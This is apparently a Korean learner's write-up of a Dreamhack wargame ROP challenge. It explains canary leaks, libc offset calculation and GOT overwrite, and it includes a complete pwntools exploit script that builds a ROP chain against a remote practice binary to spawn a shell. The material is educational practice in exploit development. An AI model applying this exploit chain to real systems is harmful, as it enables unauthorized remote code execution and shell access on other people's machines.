프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터
system함수의 오프셋을 이용하여 함수의 주소를 계산
리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법
ROP 페이로드는 리턴 가젯으로 구성되는데,ret단위로 여러 코드가 연쇄적으로 실행된다.
ASLR, 카나리, NX가 적용되어 있다.
이번 C 코드에는 system 함수를 호출하지 않고, /bin/sh 문자열도 기록되지 않는다.
system함수는 libc.so.6에 정의되어 있다. (read,puts,printf등등)바이너리가
system함수를 호출하지 않으므로 GOT에 등록되지 않지만,
read,puts,printf는 GOT에 등록되어 있다.
main함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로,
이들의 GOT를 읽어올 수 있으면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.같은 libc 안에서 두 데이터 사이의 거리(Offset)는 항상 같다.
→ 다른 데이터의 주소를 모두 계산할 수 있다.
Ubuntu GLIBC 2.27-3ubuntu1.2 에서read함수와system함수 사이의 거리는 항상0xc0ca0
read의 주소를 알면,system함수의 주소도 구할 수 있다.
libc.so.6에 /bin/sh가 포함되어 있다.
이 실습에서는 ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조한다.
system 함수와 “/bin/sh” 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다.
그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. → ret2main
이 코스에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득한다.
dummy=b'A'*0x39 p.sendafter("Buf: ", dummy) p.recvuntil(dummy) canary=u64(b"\x00"+p.recvn(7))
libc=ELF("/lib/x86_64-linux-gnu/libc-2.31.so") read2system=libc.symbols['read']-libc.symbols['system'] systemadr=e.plt['read']+read2system
이 실습에서는 ROP로 버퍼에 “/bin/sh”를 입력하고, 이를 참조한다.
"/bin/sh" 는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. (
read함수 이용)
read함수에는 총 3개의 인자가 필요하다. (입력 스트림, 입력 버퍼, 입력 길이)
→rdi,rsi,rdx
rdi, rsi는 바이너리에서 가젯을 쉽게 찾을 수 있지만, rdx는 바이너리에서 찾기 어렵다.
→ libc의 코드 가젯이나, libc_csu_init 가젯을 사용한다.이 예제에서는
read함수의 GOT를 읽어온 후 rdx 값이 매우 커지므로 굳이 가젯이 필요없다.
read함수,pop rdi ; ret, pop rsi ; pop r15 ; ret가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 “/bin/sh”문자열을 쓰는 익스플로잇
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# [1] Leak canary # 카나리 획득
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read'] # read 함수 plt 주소
read_got = e.got['read'] # read 함수 got 주소
puts_plt = e.plt['puts'] # puts 함수 plt 주소
pop_rdi = 0x0000000000401303 # pop rdi 리턴 가젯
pop_rsi_r15 = 0x0000000000401301 # pop rsi ; pop r15 리턴 가젯
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 # payload 구성 (버퍼+카나리+SFP)
# puts(read_got) # puts & 가젯을 이용한 read함수의 GOT 가져오기
payload += p64(pop_rdi) + p64(read_got) # → system 함수의 주소 구하기
payload += p64(puts_plt) # 가젯+인자+함수
# read(0, read_got, 0x10) # read의 GOT를 system 함수의 주소로 덮기
payload += p64(pop_rdi) + p64(0) # 가젯+인자
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 가젯+인자+인자(r15는 필요없어서 그냥 0)
payload += p64(read_plt) # 함수
# read("/bin/sh") == system("/bin/sh") # system("/bin/sh")
payload += p64(pop_rdi) # 가젯
payload += p64(read_got+0x8) # 인자(
payload += p64(read_plt) # 함수
p.sendafter("Buf: ", payload) # 버퍼 전송
read = u64(p.recvn(6)+b"\x00"*2) # puts의 내용 받아오기(read got주소)
lb = read - libc.symbols["read"] # offset
system = lb + libc.symbols["system"] # system 주소 구하기(offset이용)
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00") # read 함수에 내용 전달(system함수 주소, /bin/sh)
p.interactive()
puts 함수를 이용해 read 함수의 GOT를 알아온다. (p.recvn() 이용) → read 변수에 저장
read 함수로 system 함수의 주소를 입력받아 read 함수의 GOT 주소에 넣는다.
→ 이러면 read 함수를 호출하면 read plt → read got가 아닌 system 함수 주소로 연결된다.
→ system 함수의 주소는 아래쪽에서 계산한다.
read인척 하는(?) system 함수를 호출한다. 내용은 "/bin/bash"
→ system("/bin/bash"), 셸 획득 함수
payload 작성 부분에서 순서가 많이 헷갈렸던 것 같다.
단순히 작성하는 것 뿐인데 나는 왜 실행하는 도중인 줄 알았던 걸까..